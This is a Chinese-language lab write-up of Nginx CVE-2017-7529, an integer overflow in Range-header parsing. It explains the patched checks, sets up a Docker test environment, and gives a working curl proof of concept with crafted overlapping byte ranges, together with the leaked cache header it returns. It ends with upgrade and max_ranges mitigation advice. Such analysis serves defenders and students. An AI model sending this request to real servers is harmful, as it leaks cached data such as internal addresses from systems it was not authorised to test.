Nginx整数溢出漏洞 (CVE-2017-7529)

漏洞原理

首先，我们看这次漏洞修复的commit:

可以看到，在ngx_http_range_filter_module.c的ngx_http_range_parse函数中做了两处修复：

[if !supportLists]· [endif]进一步检测了size的溢出情况，防止size溢出后造成小于content-length这条判断的绕过

[if !supportLists]· [endif]则直接限定了使用后缀的情况下，start不能为负的，最小只能是0，也就是说使用“-xxx”的方式对Cache文件的读取只能从0开始到结束。

根据漏洞修复commit的注释，我们知道这次漏洞的主要成因就是bytes-range读取的起始范围可能为负数，从而读取缓存文件头部。

首先，如果传入完整的range参数，如start-end，则在ngx_http_range_parse()中会检查start，确保其不会溢出为负值：

因此，如果需要将start解析为负数，只能通过-end这类后缀型range参数实现:

此时的start等于content-length减去读入的end值，所以如果传入的end比实际长度还要长，就可以使start变为负数，而这就是第二处修复所处理的情形：

同时注意到，在这类情况下，最终end的值会被设定为content-length-1。所以这块range的总长度就超过了content-length。而Nginx对range总长度会有检查：

一般来说，range作为原始文件的一部分，其长度应该是小于content-length的。所以一旦计算得到的size比content-length还大，那就直接将原始文件返回了，不再进行range处理。为了绕过这一限制，我们就需要利用到第一处修复所处理的情形。

具体而言，检查用到的size是将multipart的全部range长度相加得到的：

因此，一个range是不够的，我们至少需要两个range，其长度之和溢出为负数，就可以绕过总长度的检查了。

要得到一个很大长度的range，同样可以采用-end这种后缀型，将end设置为一个非常大的数即可。此处的start, end, size均为64位有符号整形，所以只需要最终相加得到的size为0×8000000000000000即可。

获取环境:

拉取镜像到本地

docker pull medicean/vulapps:n_nginx_1

启动环境

docker run -d -p 8000:80 medicean/vulapps:n_nginx_1

打开环境

http://192.168.0.102:8000/

出现下图说明环境搭建成功

漏洞解析:

此漏洞是根据HTTP的断点续传：Range来发送请求

Range设置在HTTP请求头中，它是多个byte-range-spec(或suffix-byte-range-spec)的集合

先来获取一条请求(ps:因为此请求是在漏洞环境中请求的，所以请求地址是本地)

curl -I http://127.0.0.1:8000/proxy/demo.png

HTTP/1.1 200 OK

Server: nginx/1.13.1

Date: Sat, 28 Apr 2018 04:11:56 GMT

Content-Type: image/png

Content-Length: 16585

Connection: keep-alive

Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT

ETag: "40c9-5547a060fdf00"

X-Proxy-Cache: MISS

Accept-Ranges: bytes

首先，我们不指定range，返回一个响应头其中返回了一个content-Length长度为16585

看到 Content-Length: 16585,找个比这个数大的值，例如 -17208,第二个 range 值为 0x8000000000000000-17208, 也就是 9223372036854758600

发送一个请求

curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600

下面是返回值：

HTTP/1.1 206 Partial Content

Server: nginx/1.13.1

Date: Sat, 28 Apr 2018 04:46:18 GMT

Content-Type: multipart/byteranges; boundary=00000000000000000007

Connection: keep-alive

Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT

ETag: "40c9-5547a060fdf00"

X-Proxy-Cache: HIT

--00000000000000000007

Content-Type: image/png

Content-Range: bytes -9223372036854742015-16584/16585

;þ⚜lY伣Z@ɠvq"40c9-5547a060fdf00"

KEY: httpGET127.0.0.1/proxy/demo.png

HTTP/1.1 200 OK

Date: Sat, 28 Apr 2018 04:43:15 GMT

Server: Apache/2.4.25 (Debian)

Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT

ETag: "40c9-5547a060fdf00"

Accept-Ranges: bytes

Content-Length: 16585

Connection: close

Content-Type: image/png

获取到的敏感数据                                                                                                                                                    

KEY: httpGET127.0.0.1/proxy/demo.png

漏洞修复

综合来看，这个漏洞就是整数溢出漏洞的利用，能够从Cache文件中获取Cache头的信息。在某些配置的情况下Cache头中会存在IP地址信息，造成信息泄露。

就Nginx模块以及常用的第三方模块本身来说，无法通过这个整数溢出来对内存进行操作或者远程执行。

建议升级到1.13.3和1.12.1版本；如果不能升级，可以在Nginx配置文件中添加max_ranges 1，从而禁用multipart range。